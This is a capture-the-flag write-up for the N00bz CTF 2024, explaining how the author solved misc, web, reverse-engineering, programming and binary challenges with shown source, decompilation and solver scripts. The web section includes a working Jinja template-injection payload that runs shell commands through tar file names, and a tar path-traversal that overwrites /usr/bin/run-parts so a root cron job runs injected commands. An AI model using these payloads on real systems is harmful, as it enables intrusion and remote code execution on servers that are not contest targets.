N00bz CTF 2024 writeups

05/08/2024 - 9 minutes

2024 ctfs hacking misc n00bz path_traversal programming pwn write_primitive zip_slipping
  1. 1 Misc
    1. 1.1 Addition
    2. 1.2 Waas
  2. 2 Web
    1. 2.1 Passwordless
    2. 2.2 Focus on yourSELF
    3. 2.3 File Sharing Portal
      1. 2.3.1 Solution 1 (RCE using SSTI)
      2. 2.3.2 Solution 2 (RCE using cron jobs)
  3. 3 Reverse
    1. 3.1 FlagChecker
  4. 4 Programming
    1. 4.1 Sillygoose
    2. 4.2 Back from brazil
  5. 5 Pwn
    1. 5.1 Think Outside the Box

# Misc

# Addition

import time
import random

questions = int(input("how many questions do you want to answer? "))

for i in range(questions):
    a = random.randint(0, 10)
    b = random.randint(0, 10)

    yourans = int(input("what is " + str(a) + ' + ' + str(b) + ' = '))

    print("calculating")

    totaltime = pow(2, i)

    print('.')
    time.sleep(totaltime / 3)
    print('.')
    time.sleep(totaltime / 3)
    print('.')
    time.sleep(totaltime / 3)

    if yourans != a + b:
        print("You made my little brother cry 😭")
        exit(69)

f = open('/flag.txt', 'r')
flag = f.read()
print(flag[:questions])

Above we can see a small program that asks the user to calculate answers of adding two random numbers. The user is asked to choose the number of questions he wants to answer and is awarded with the respective number of characters of the flag. However since there is an exponential delay due to pow(2,i), the classical approach of an automated solver would take too long. The smart thing to do here is to use the negative indexing feature of the python language. Thus entering a -1 would not require any questions to be answered and provide all characters (except the last one, which is simply a } according to the flag format)

# Waas

import subprocess
from base64 import b64decode as d
while True:
	print("[1] Write to a file\n[2] Get the flag\n[3] Exit")
	try:
		inp = int(input("Choice: ").strip())
	except:
		print("Invalid input!")
		exit(0)
	if inp == 1:
		file = input("Enter file name: ").strip()
		assert file.count('.') <= 2 # Why do you need more?
		assert "/proc" not in file # Why do you need to write there?
		assert "/bin" not in file # Why do you need to write there? 
		assert "\n" not in file # Why do you need these?
		assert "chall" not in file # Don't be overwriting my files!
		try: 
			f = open(file,'w')
		except:
			print("Error! Maybe the file does not exist?")

		f.write(input("Data: ").strip())
		f.close()
		print("Data written sucessfully!")
		
	if inp == 2:
		flag = subprocess.run(["cat","fake_flag.txt"],capture_output=True) # You actually thought I would give the flag?
		print(flag.stdout.strip())

In the above script we are essentially given a service that takes a filename and writes our content to it. Essentially the problem here lies in us being able to overwrite python modules. As there seems to be a "forgotten" base64 module being imported.

Thus we can abuse the file write primitive to make our own base64.py which would be imported instead of the normal base64 package. The next step is to simply abuse it for RCE, by entering import os;print(os.system('ls')) for its data. PS: The same could be done for the subprocess module.

# Web

# Passwordless

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import subprocess
import urllib
import uuid
global leet

app = Flask(__name__)
flag = open('/flag.txt').read()
leet=uuid.UUID('13371337-1337-1337-1337-133713371337')

@app.route('/',methods=['GET','POST'])
def main():
    global username
    if request.method == 'GET':
        return render_template('index.html')
    elif request.method == 'POST':
        username = request.values['username']
        if username == 'admin123':
            return 'Stop trying to act like you are the admin!'
        uid = uuid.uuid5(leet,username) # super secure!
        return redirect(f'/{uid}')

@app.route('/<uid>')
def user_page(uid):
    if uid != str(uuid.uuid5(leet,'admin123')):
        return f'Welcome! No flag for you :('
    else:
        return flag

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)

Above we can see a very simple application which has 2 routes. Essentially we are given a form to complete which takes a username and computes uuid v5 with a static seed (13371337-1337-1337-1337-133713371337)

From the docs

uuid.uuid5(namespace, name)
# Generate a UUID based on the SHA-1 hash of a namespace identifier (which is a UUID) and a name (which is a bytes object or a string that will be encoded using UTF-8).

Thus even though we are explicitly not allowed to generate a uuid using the admin123 username. We can instead resort into doing it locally as we have the seed.

Thus we can simply now visit /3c68e6cc-15a7-59d4-823c-e7563bbb326c and get the flag.

# Focus on yourSELF

# CHANGE THE FLAG WHEN HANDING THIS OUT TO PLAYERS

services:
  web:
    build: .
    ports:
      - "4000:1337"
    environment:
      - FLAG="n00bz{f4k3_fl4g_f0r_t3st1ng}"

For this web challenge we are only provided a docker-compose file that tells as the flag is an ENV variable.

The application has 2 very simple functionalities

# File Sharing Portal

Here we are given the whole source code so lets have a look at it.

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import tarfile
from hashlib import sha256
import os

app = Flask(__name__)


@app.route("/", methods=["GET", "POST"])
def main():
    global username
    if request.method == "GET":
        return render_template("index.html")
    elif request.method == "POST":
        file = request.files["file"]
        if file.filename[-4:] != ".tar":
            return render_template_string(
                "<p> We only support tar files as of right now!</p>"
            )
        name = sha256(os.urandom(16)).digest().hex()
        os.makedirs(f"./uploads/{name}", exist_ok=True)
        file.save(f"./uploads/{name}/{name}.tar")
        try:
            tar_file = tarfile.TarFile(f"./uploads/{name}/{name}.tar")
            tar_file.extractall(path=f"./uploads/{name}/")
            return render_template_string(
                f"<p>Tar file extracted! View <a href='/view/{name}'>here</a>"
            )
        except:
            return render_template_string("<p>Failed to extract file!</p>")


@app.route("/view/<name>")
def view(name):
    if not all([i in "abcdef1234567890" for i in name]):
        return render_template_string("<p>Error!</p>")
        # print(os.popen(f'ls ./uploads/{name}').read())
        # print(name)
    files = os.listdir(f"./uploads/{name}")
    out = "<h1>Files</h1><br>"
    files.remove(f"{name}.tar")  # Remove the tar file from the list
    for i in files:
        out += f'<a href="/read/{name}/{i}">{i}</a>'
    # except:
    return render_template_string(out)


@app.route("/read/<name>/<file>")
def read(name, file):
    if not all([i in "abcdef1234567890" for i in name]):
        return render_template_string("<p>Error!</p>")
    if ((".." in name) or (".." in file)) or (("/" in file) or "/" in name):
        return render_template_string("<p>Error!</p>")
    f = open(f"./uploads/{name}/{file}")
    data = f.read()
    f.close()
    return data

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=1337)

This application has 3 main functions

# Solution 1 (RCE using SSTI)

When I saw render_template_string(out) I immidiately checked if I was controlling out! Even though at the start it might seem safe by using if not all([i in "abcdef1234567890" for i in name]) the check only happens in the tar name and not its extracted contents. Thus a really easy jinja ssti payload on one of the tar file names and it is game over!

import tarfile

tar = tarfile.open("exploit.tar", "w")
tarinfo = tarfile.TarInfo("{{7*7}}")
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()

And confirmed! Now lets list the flag in /app

import tarfile

tar = tarfile.open("exploit.tar", "w")
payload = r"{{self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}"
tarinfo = tarfile.TarInfo(payload)
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()

cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt

import tarfile

tar = tarfile.open("exploit.tar", "w")
payload = r"{{self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag_15b726a24e04cc6413cb15b9d91e548948dac073b85c33f82495b10e9efe2c6e.txt').read()}}"
tarinfo = tarfile.TarInfo(payload)
tarinfo.size = 0
tar.addfile(tarinfo)
tar.close()

# Solution 2 (RCE using cron jobs)

The vulnerability lies in this line of code

tar_file.extractall(path=f"./uploads/{name}/")

Pythons tarfile module using extractall with untrusted input is a known file write/read vulnerability. Usually it is also refered as Zip Slipping.

FROM python:3.9-slim
RUN apt-get update && \
    apt-get install -y cron && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY requirements.txt server.py /app/
COPY templates/ /app/templates/
COPY REDACTED.txt /app/
# The flag file is redacted on purpose
RUN pip install --no-cache-dir -r requirements.txt
COPY uploads/ /app/uploads/
# Add the cron job to the crontab
RUN mkdir /etc/cron.custom
RUN echo "*/5 * * * * root rm -rf /app/uploads/*" > /etc/cron.custom/cleanup-cron
RUN echo "* * * * * root cd / && run-parts --report /etc/cron.custom" | tee -a /etc/crontab
# Give execution rights on the cron job
RUN chmod +x /etc/cron.custom/cleanup-cron
RUN crontab /etc/cron.custom/cleanup-cron
RUN crontab /etc/crontab
CMD ["sh", "-c", "cron && python server.py"]

Now even though we have a file read primitive, it is unfortunately not yet game over. The reason being that the flag filename is supposingly REDACTED thus unless we find a way to get the flags filename a file read is useless. However the file write is more useful upon closer inspection. We need to find a target. Which is some file that will be executed once we overwrite it, granting us RCE. Initially my first thought would be overwriting the application itself (server.py). But as we can see above app.run(host="0.0.0.0", port=1337) the application is not running in debug. Thus even if the files change on disk it will not reload. After inspecting the Dockerfile more carefully, we can see that there seems to be a cron job running every minute * * * * * root cd / && run-parts --report /etc/cron.custom. Here we have 2 possible entry points. The cd command and the run-parts command. However cd is not really a binary itself. Instead cd is a shell builtin. But luckily run-parts is conviniently housed at /usr/bin/run-parts. Hence it is the perfect target to overwrite.

To create an attacking zip we can use the below commands:

mkdir exploit && cd exploit
mkdir -p usr/bin
echo 'mkdir -p  /app/uploads/abc/ && cat /app/* > /app/uploads/abc/pwned'
mkdir d1 && cd d1 # we need to create a random directory because we are running from /app thus we need to go 1 step up to meet /
tar cPf solve.tar ../usr/bin/run-parts

Or even shorter as

tar --transform='flags=r;s|run-parts|/usr/bin/run-parts|' -cPf solve.tar run-parts

Lets analyze the above command carefully here we create a solve.tar tar file which in compressed format (cf) and houses a file named ../usr/bin/run-parts exactly, due to the use of -P (Don't strip leading slashes from file names when creating archives.). Thus when python, extracts it it will literally be extracted in /usr/bin/run-parts. Then we upload the created tar and visit /read/abc/pwned (after 1 minute, when the cron-job has run) and we can read the flag

# Reverse

# FlagChecker

We are given an excel file that we are hinted contains some macros. We can extract them using oletools:

olevba FlagChecker.xlsm
VBA MACRO Module1
in file: xl/vbaProject.bin - OLE stream: 'Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub FlagChecker()

    Dim chars(1 To 24) As String
    guess = InputBox("Enter the flag:")
    If Len(guess) <> 24 Then
        MsgBox "Nope"
    End If
    char_1 = Mid(guess, 1, 1)
    char_2 = Mid(guess, 2, 1)
    char_3 = Mid(guess, 3, 1)
    char_4 = Mid(guess, 4, 1)
    char_5 = Mid(guess, 5, 1)
    char_6 = Mid(guess, 6, 1)
    char_7 = Mid(guess, 7, 1)
    char_8 = Mid(guess, 8, 1)
    char_9 = Mid(guess, 9, 1)
    char_10 = Mid(guess, 10, 1)
    char_11 = Mid(guess, 11, 1)
    char_12 = Mid(guess, 12, 1)
    char_13 = Mid(guess, 13, 1)
    char_14 = Mid(guess, 14, 1)
    char_15 = Mid(guess, 15, 1)
    char_16 = Mid(guess, 16, 1)
    char_17 = Mid(guess, 17, 1)
    char_18 = Mid(guess, 18, 1)
    char_19 = Mid(guess, 19, 1)
    char_20 = Mid(guess, 20, 1)
    char_21 = Mid(guess, 21, 1)
    char_22 = Mid(guess, 22, 1)
    char_23 = Mid(guess, 23, 1)
    char_24 = Mid(guess, 24, 1)
    If Asc(char_1) Xor Asc(char_8) = 22 Then
        If Asc(char_10) + Asc(char_24) = 176 Then
            If Asc(char_9) - Asc(char_22) = -9 Then
                If Asc(char_22) Xor Asc(char_6) = 23 Then
                    If (Asc(char_12) / 5) ^ (Asc(char_3) / 12) = 130321 Then
                        If char_22 = char_11 Then
                            If Asc(char_15) * Asc(char_8) = 14040 Then
                                If Asc(char_12) Xor (Asc(char_17) + 5) = 5 Then
                                    If Asc(char_18) = Asc(char_23) Then
                                        If Asc(char_13) Xor Asc(char_14) Xor Asc(char_2) = 73 Then
                                            If Asc(char_14) Xor Asc(char_24) = 77 Then
                                                If 1365 = Asc(char_22) Xor 1337 Then
                                                    If Asc(char_10) = Asc(char_7) Then
                                                        If Asc(char_23) + Asc(char_8) = 235 Then
                                                            If Asc(char_16) = Asc(char_17) + 19 Then
                                                                If Asc(char_19) = 107 Then
                                                                    If Asc(char_20) + 501 = (Asc(char_1) * 5) Then
                                                                        If Asc(char_21) = Asc(char_22) Then
                                                                            MsgBox "you got the flag!"
                                                                        End If
                                                                    End If
                                                                End If
                                                            End If
                                                        End If
                                                    End If
                                                End If
                                            End If
                                        End If
                                    End If
                                End If
                            End If
                        End If
                    End If
                End If
            End If
        End If
    End If
End Sub



+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Xor                 |May attempt to obfuscate specific strings    |
|          |                    |(use option --deobf to deobfuscate)          |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
+----------+--------------------+---------------------------------------------+

The vba macros seems to be

Sub FlagChecker()

    Dim chars(1 To 24) As String
    guess = InputBox("Enter the flag:")
    If Len(guess) <> 24 Then
        MsgBox "Nope"
    End If
    char_1 = Mid(guess, 1, 1)
    char_2 = Mid(guess, 2, 1)
    char_3 = Mid(guess, 3, 1)
    char_4 = Mid(guess, 4, 1)
    char_5 = Mid(guess, 5, 1)
    char_6 = Mid(guess, 6, 1)
    char_7 = Mid(guess, 7, 1)
    char_8 = Mid(guess, 8, 1)
    char_9 = Mid(guess, 9, 1)
    char_10 = Mid(guess, 10, 1)
    char_11 = Mid(guess, 11, 1)
    char_12 = Mid(guess, 12, 1)
    char_13 = Mid(guess, 13, 1)
    char_14 = Mid(guess, 14, 1)
    char_15 = Mid(guess, 15, 1)
    char_16 = Mid(guess, 16, 1)
    char_17 = Mid(guess, 17, 1)
    char_18 = Mid(guess, 18, 1)
    char_19 = Mid(guess, 19, 1)
    char_20 = Mid(guess, 20, 1)
    char_21 = Mid(guess, 21, 1)
    char_22 = Mid(guess, 22, 1)
    char_23 = Mid(guess, 23, 1)
    char_24 = Mid(guess, 24, 1)
    If Asc(char_1) Xor Asc(char_8) = 22 Then
        If Asc(char_10) + Asc(char_24) = 176 Then
            If Asc(char_9) - Asc(char_22) = -9 Then
                If Asc(char_22) Xor Asc(char_6) = 23 Then
                    If (Asc(char_12) / 5) ^ (Asc(char_3) / 12) = 130321 Then
                        If char_22 = char_11 Then
                            If Asc(char_15) * Asc(char_8) = 14040 Then
                                If Asc(char_12) Xor (Asc(char_17) + 5) = 5 Then
                                    If Asc(char_18) = Asc(char_23) Then
                                        If Asc(char_13) Xor Asc(char_14) Xor Asc(char_2) = 73 Then
                                            If Asc(char_14) Xor Asc(char_24) = 77 Then
                                                If 1365 = Asc(char_22) Xor 1337 Then
                                                    If Asc(char_10) = Asc(char_7) Then
                                                        If Asc(char_23) + Asc(char_8) = 235 Then
                                                            If Asc(char_16) = Asc(char_17) + 19 Then
                                                                If Asc(char_19) = 107 Then
                                                                    If Asc(char_20) + 501 = (Asc(char_1) * 5) Then
                                                                        If Asc(char_21) = Asc(char_22) Then
                                                                            MsgBox "you got the flag!"
                                                                        End If
                                                                    End If
                                                                End If
                                                            End If
                                                        End If
                                                    End If
                                                End If
                                            End If
                                        End If
                                    End If
                                End If
                            End If
                        End If
                    End If
                End If
            End If
        End If
    End If
End Sub

The above seems to be checking if some conditions are satisfied supposingly forming a string which is the flag. From here on we can let z3 do its thing!

from z3 import *

solver = Solver()

flag = [BitVec(f"c{i}", 8) for i in range(24)]


flag_prefix = "n00bz{"
flag_suffix = "}"

for i, c in enumerate(flag):
    if i < len(flag_prefix):
        solver.add(flag[i] == ord(flag_prefix[i]))
    elif i > len(flag) - len(flag_suffix) -1:
        solver.add(flag[i] == ord(flag_suffix[i - len(flag) + len(flag_suffix)]))
    else:
        solver.add(Or(And(c >= 48, c <= 57), And(c >= 97, c <= 122), c == 95))

solver.add(flag[0] ^ flag[7] == 22)
solver.add(flag[9] + flag[23] == 176)
solver.add(flag[8] - flag[21] == -9)
solver.add(flag[21] ^ flag[5] == 23)
# solver.add((flag[11] / 5) ** (flag[2] / 12) == 130321) # We have to avoid this because of not being able to raise in powers using Z3
solver.add(flag[21] == flag[10])
solver.add(flag[14] * flag[7] == 14040)
solver.add(flag[11] ^ (flag[16] + 5) == 5)
solver.add(flag[17] == flag[22])
solver.add(flag[12] ^ flag[13] ^ flag[1] == 121)
solver.add(flag[13] ^ flag[23] == 77)
solver.add(1365 == (flag[21] ^ 1337))
solver.add(flag[9] == flag[6])
solver.add(flag[22] + flag[7] == 235)
solver.add(flag[15] == flag[16] + 19)
solver.add(flag[18] == 107)
solver.add(flag[19] + 501 == flag[0] * 5)
solver.add(flag[20] == flag[21])

if solver.check() == sat:
    model = solver.model()
    flag = ''.join(chr(model[c].as_long()) for c in flag)
    print("Flag found:", flag)
else:
    print("No solution found.")
    print(solver.unsat_core())

Unfortuantly we have to make some educated guesses for flag_11, flag_2, flag_16 but the rest work.

# Programming

# Sillygoose

from random import randint
import time
ans = randint(0, pow(10, 100))
start_time = int(time.time())
turns = 0
while True:
    turns += 1

    inp = input()

    if int(time.time()) > start_time + 60:
       print("you ran out of time you silly goose") 
       break

    if "q" in inp:
        print("you are no fun you silly goose")
        break

    if not inp.isdigit():
        print("give me a number you silly goose")
        continue

    inp = int(inp)
    if inp > ans:
        print("your answer is too large you silly goose")
    elif inp < ans:
        print("your answer is too small you silly goose")
    else:
        print("congratulations you silly goose")
        f = open("/flag.txt", "r")
        print(f.read())

    if turns > 500:
        print("you have a skill issue you silly goose")

The above we can simply solve using binary search since we are given 500 attempts which is more than enough due to:

math.log(pow(10, 100),2) -> 332.19280948873626 < 500
from pwn import *

low = 0
high = 10**100

io = remote("24.199.110.35", 41199)

while True:
    mid = (low + high) // 2
    io.sendline(str(mid))
    response = io.recvline().decode()
    print(f"Guess: {mid}, Response: {response.strip()}")
    if "too large" in response:
        high = mid - 1
    elif "too small" in response:
        low = mid + 1
    else:
        break

io.interactive()

# Back from brazil

import random, time

def solve(eggs):
    redactedscript = """
    REDACTED
    """

    return sum([ord(c) for c in redactedscript])

n = 1000

start = time.time()

for _ in range(10):
    eggs = []
    for i in range(n):
        row = []
        for j in range(n):
            row.append(random.randint(0, 696969))
            print(row[j], end=' ')
        eggs.append(row)
        print()

    solution = solve(eggs)
    print("optimal: " + str(solution) + " 🥚")
    inputPath = input()
    inputAns = eggs[0][0]
    x = 0
    y = 0

    for direction in inputPath:
        match direction:
            case 'd':
                x += 1
            case 'r':
                y += 1
            case _:
                print("🤔")
                exit()

        if x == n or y == n:
            print("out of bounds")
            exit()

        inputAns += eggs[x][y]



    if inputAns < solution:
        print(inputAns)
        print("you didn't find enough 🥚")
        exit()
    elif len(inputPath) < 2 * n - 2:
        print("noooooooooooooooo, I'm still in Brazil")
        exit()

    if int(time.time()) - start > 60:
        print("you ran out of time")
        exit()

print("tnxs for finding all my 🥚")
f = open("/flag.txt", "r")
print(f.read())

For this one we have to find a set of moves d for down and r for right, which would collect a higher or equal sum of "eggs" from the random matrix, in terms of sum. To do that I used a simple backtrack exploration approach which would explore all solutions until 1 valid was found and then backtrack and send the moves for that solution.

from pwn import *
import sys


def hook(l=None):
    if l:
        locals().update(l)
    import IPython
    IPython.embed(banner1='', confirm_exit=False)
    exit(0)


n = 1000
io = remote("24.199.110.35", 43298)

def solve(grid):
    # Step 1: Find maximum sum path
    dp = [[0 for _ in range(n)] for _ in range(n)]
    dp[0][0] = grid[0][0]

    for i in range(1, n):
        dp[i][0] = dp[i-1][0] + grid[i][0]
        dp[0][i] = dp[0][i-1] + grid[0][i]

    for i in range(1, n):
        for j in range(1, n):
            dp[i][j] = max(dp[i-1][j], dp[i][j-1]) + grid[i][j]

    # Step 2: Backtrack to find path
    path = ""
    i, j = n-1, n-1

    while i > 0 or j > 0:
        if i == 0:
            path = "d" + path
            j -= 1
        elif j == 0:
            path = "r" + path
            i -= 1
        elif dp[i-1][j] > dp[i][j-1]:
            path = "r" + path
            i -= 1
        else:
            path = "d" + path
            j -= 1
    return path

for i in range(10):
    eggs = []
    for __ in range(n):
        row = io.recvline().decode().strip().split()
        int_row = list(map(int, row))
        # print(int_row)
        eggs.append(int_row)


    # if i == 1:
    #     hook(l=locals())
    minimum = io.recvuntil("🥚").decode().split("optimal: ")[1].split(" 🥚")[0]
    minimum = int(minimum)
    print(f"Minimum required: {minimum}")

    path = solve(eggs)
    print(f"Path length: {len(path)}")

    if len(path) >= 2*n - 2:
        print("Sending path...")
        print(path)
        io.sendline(path)
        io.recvline()
        # io.interactive()
    else:
        print("Failed to find a valid path")

    # clean up
    del eggs
    del path

io.interactive()

# Pwn

# Think Outside the Box

In this binary exploitation challenge we are given a lot of files:

drwxr-xr-x evangelospro evangelospro 4.0K 04/08/2024 09:38:08   thinkoutsidethebox/
.rwxr-xr-x evangelospro evangelospro  29B 04/08/2024 00:58:56 ├──   flag.txt*
.rwxr-xr-x evangelospro evangelospro 231K 04/08/2024 00:58:56 ├──   ld-linux-x86-64.so.2*
.rwxr-xr-x evangelospro evangelospro 2.0M 04/08/2024 00:58:56 ├──   libc.so.6*
.rwxr-xr-x evangelospro evangelospro  20K 04/08/2024 00:58:56 └──   tictactoe*

At the start I thought since we where given libc, the challenge would have a been somewhat hard, maybe it would need a leak etc...

Instead it proved to be much easier and instead was more of a reversing challenge. Let's decompile the binary in IDA.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v5; // [rsp+8h] [rbp-38h] BYREF
  int v6; // [rsp+Ch] [rbp-34h] BYREF
  int v7; // [rsp+10h] [rbp-30h] BYREF
  int v8; // [rsp+14h] [rbp-2Ch] BYREF
  int v9; // [rsp+18h] [rbp-28h] BYREF
  int v10; // [rsp+1Ch] [rbp-24h] BYREF
  char v11; // [rsp+20h] [rbp-20h] BYREF
  char v12; // [rsp+24h] [rbp-1Ch] BYREF
  unsigned int v13; // [rsp+28h] [rbp-18h]
  _BYTE v14[9]; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 v15; // [rsp+38h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  v13 = 3;
  qmemcpy(v14, "____X____", sizeof(v14));
  puts("Welcome to Tic-Tac-Toe! In order to get the flag, just win! The bot goes first!");
  printBoard(v14, 3LL);
  move(v14, 3, 1, &v5, &v6, 0, 1);
  printBoard(v14, v13);
  move(v14, v13, 2, &v7, &v8, v5, v6);
  printBoard(v14, v13);
  move(v14, v13, 3, &v9, &v10, v7, v8);
  printBoard(v14, v13);
  move(v14, v13, 4, &v11, &v12, v9, v10);
  return v15 - __readfsqword(0x28u);
}

Above we can see our main function Before anything let's do some dynamic analysis and let it run once. Initially I thought it would be possible to simple somehow manage and win by playing the game normally. But after trying 2-3 times, I realized that the bot was coded correctly to at least achieve a tie and never let us win. Let's try to rename some stuff around and understand the decompilation and what we can exploit.

unsigned __int64 __fastcall move(__int64 board, unsigned int side_len, int a3, _DWORD *a4, _DWORD *a5, int a6, int a7)
{
  int v12; // [rsp+40h] [rbp-60h] BYREF
  int v13; // [rsp+44h] [rbp-5Ch] BYREF
  int v14; // [rsp+48h] [rbp-58h] BYREF
  int v15; // [rsp+4Ch] [rbp-54h] BYREF
  char v16; // [rsp+50h] [rbp-50h] BYREF
  char v17; // [rsp+54h] [rbp-4Ch] BYREF
  char v18; // [rsp+58h] [rbp-48h] BYREF
  char v19; // [rsp+5Ch] [rbp-44h] BYREF
  int y; // [rsp+60h] [rbp-40h] BYREF
  int x; // [rsp+64h] [rbp-3Ch] BYREF
  FILE *stream; // [rsp+68h] [rbp-38h]
  char s[40]; // [rsp+70h] [rbp-30h] BYREF
  unsigned __int64 v24; // [rsp+98h] [rbp-8h]

  v24 = __readfsqword(0x28u);
  printf("Move: ");
  __isoc99_scanf("%d,%d", &y, &x);
  if ( side_len <= y || side_len <= x || *(board + 3LL * y + x) == 88 || *(board + 3LL * y + x) == 79 )
  {
    puts("Invalid move!");
    exit(0);
  }
  *(board + 3LL * y + x) = 79;
  if ( checkWin(board, side_len) )
  {
    printBoard(board);
    printf("You won! Flag: ");
    stream = fopen("flag.txt", "r");
    fgets(s, 38, stream);
    printf("%s", s);
    exit(0);
  }
  printBoard(board);
  if ( a3 == 1 )
  {
    puts("Bot turn!");
    firstmove(board, y, x, &v12, &v13);
    *a4 = v12;
    *a5 = v13;
  }
  if ( a3 == 2 )
  {
    puts("Bot turn!");
    secondmove(board, y, x, &v14, &v15, a6, a7, side_len);
    *a4 = v14;
    *a5 = v15;
  }
  if ( a3 == 3 )
  {
    puts("Bot turn!");
    thirdmove(board, y, x, &v16, &v17, a6, a7, side_len);
  }
  if ( a3 == 4 )
  {
    puts("Bot turn!");
    fourthmove(board, y, x, &v18, &v19, a6, a7, side_len);
  }
  return v24 - __readfsqword(0x28u);
}

The vulnerability here is an arbitrary write primitive at *(board + 3LL * y + x) = 79;. Even though y and x are checked for being less than the side_length they are never ensured to be positive. Thus we are allowed to arbitrarily write 79 in any address before the board. Which means unfortuanetly we can't alter the state of the board itself. But maybe we can do something else. To find out what is a candidate to be overwritten, we can visualise the stack layout.

int v5; // [rsp+8h] [rbp-38h] BYREF
int v6; // [rsp+Ch] [rbp-34h] BYREF
int v7; // [rsp+10h] [rbp-30h] BYREF
int v8; // [rsp+14h] [rbp-2Ch] BYREF
int v9; // [rsp+18h] [rbp-28h] BYREF
int v10; // [rsp+1Ch] [rbp-24h] BYREF
char v11; // [rsp+20h] [rbp-20h] BYREF
char v12; // [rsp+24h] [rbp-1Ch] BYREF
unsigned int side_len; // [rsp+28h] [rbp-18h]
_BYTE board[9]; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 v15; // [rsp+38h] [rbp-8h]

The only variable that stands out as being used more than once and is a possible candidate is side_len. Before attempting to overwrite it we must now see how this could help us win!

__int64 __fastcall checkWin(__int64 board, int side_len)
{
  int i; // [rsp+10h] [rbp-10h]
  int j; // [rsp+14h] [rbp-Ch]

  for ( i = 0; i < side_len; ++i )
  {
    if ( *(board + 3LL * i + 1) == *(board + 3LL * i)
      && *(board + 3LL * i + 1) == *(board + 3LL * i + 2)
      && *(board + 3LL * i + 1) == 79 )
    {
      puts("Returning!");
      return 1LL;
    }
  }
  for ( j = 0; j < side_len; ++j )
  {
    if ( *(board + 3 + j) == *(board + j) && *(board + 3 + j) == *(board + 6 + j) && *(board + 3 + j) == 79 )
      return 1LL;
  }
  return 0LL;
}

By checking the checkWin function we can see that side_len is also taken into account here. However the bots move them selves are statically defined responses. E.g firstmove

unsigned __int64 __fastcall firstmove(_BYTE *a1, int a2, int a3, _DWORD *a4, _DWORD *a5)
{
  unsigned __int64 result; // rax

  if ( !a2 && !a3 || !a2 && a3 == 2 )
  {
    a1[1] = 95;
    a1[1] = 88;
    *a4 = 0;
    result = a5;
    *a5 = 1;
  }
  if ( a2 == 2 && !a3 || a2 == 2 && a3 == 2 )
  {
    result = a1[7];
    if ( result == 95 )
    {
      a1[7] = 88;
      *a4 = 2;
      result = a5;
      *a5 = 1;
    }
  }
  if ( !a2 && a3 == 1 || a2 == 1 && a3 == 2 || a2 == 2 && a3 == 1 )
  {
    result = a1[2];
    if ( result == 95 )
    {
      a1[2] = 88;
      *a4 = 0;
      result = a5;
      *a5 = 2;
    }
  }
  if ( a2 == 1 && !a3 || a2 == 2 && !a3 )
  {
    result = a1[6];
    if ( result == 95 )
    {
      a1[6] = 88;
      *a4 = 2;
      result = a5;
      *a5 = 0;
    }
  }
  return result;
}

There isn't any smartness going on they are all just static replies to any of our 8 initial moves. Which means 2 things will happen if we increase the side_len

  1. The bot won't make any moves, as it has no way to reply to any move other than the 8 "allowed".
  2. We can simply win the game outside of the 3x3 board Thus let's now drop into pwndbg and confirm that we can get side_len to become 79.
   0x0000000000001229 <+0>:	endbr64
   0x000000000000122d <+4>:	push   rbp
   0x000000000000122e <+5>:	mov    rbp,rsp
   0x0000000000001231 <+8>:	sub    rsp,0x40
   0x0000000000001235 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x000000000000123e <+21>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000000000001242 <+25>:	xor    eax,eax
   0x0000000000001244 <+27>:	mov    DWORD PTR [rbp-0x18],0x3
   0x000000000000124b <+34>:	mov    WORD PTR [rbp-0x11],0x5f5f
   0x0000000000001251 <+40>:	mov    BYTE PTR [rbp-0xf],0x5f
   0x0000000000001255 <+44>:	mov    WORD PTR [rbp-0xe],0x585f
   0x000000000000125b <+50>:	mov    BYTE PTR [rbp-0xc],0x5f
   0x000000000000125f <+54>:	mov    WORD PTR [rbp-0xb],0x5f5f
   0x0000000000001265 <+60>:	mov    BYTE PTR [rbp-0x9],0x5f
   0x0000000000001269 <+64>:	lea    rax,[rip+0x1d98]        # 0x3008
   0x0000000000001270 <+71>:	mov    rdi,rax
   0x0000000000001273 <+74>:	call   0x10d0 <puts@plt>
   0x0000000000001278 <+79>:	mov    edx,DWORD PTR [rbp-0x18]
   0x000000000000127b <+82>:	lea    rax,[rbp-0x11]
   0x000000000000127f <+86>:	mov    esi,edx
   0x0000000000001281 <+88>:	mov    rdi,rax
   0x0000000000001284 <+91>:	mov    eax,0x0
   0x0000000000001289 <+96>:	call   0x1bfb <printBoard>
   0x000000000000128e <+101>:	lea    rcx,[rbp-0x34]
   0x0000000000001292 <+105>:	lea    rdx,[rbp-0x38]
   0x0000000000001296 <+109>:	mov    esi,DWORD PTR [rbp-0x18]
   0x0000000000001299 <+112>:	lea    rax,[rbp-0x11]
   0x000000000000129d <+116>:	sub    rsp,0x8
   0x00000000000012a1 <+120>:	push   0x1
   0x00000000000012a3 <+122>:	mov    r9d,0x0
   0x00000000000012a9 <+128>:	mov    r8,rcx
   0x00000000000012ac <+131>:	mov    rcx,rdx
   0x00000000000012af <+134>:	mov    edx,0x1
   0x00000000000012b4 <+139>:	mov    rdi,rax
   0x00000000000012b7 <+142>:	mov    eax,0x0
   0x00000000000012bc <+147>:	call   0x18dd <move>
   0x00000000000012c1 <+152>:	add    rsp,0x10
   0x00000000000012c5 <+156>:	mov    edx,DWORD PTR [rbp-0x18]
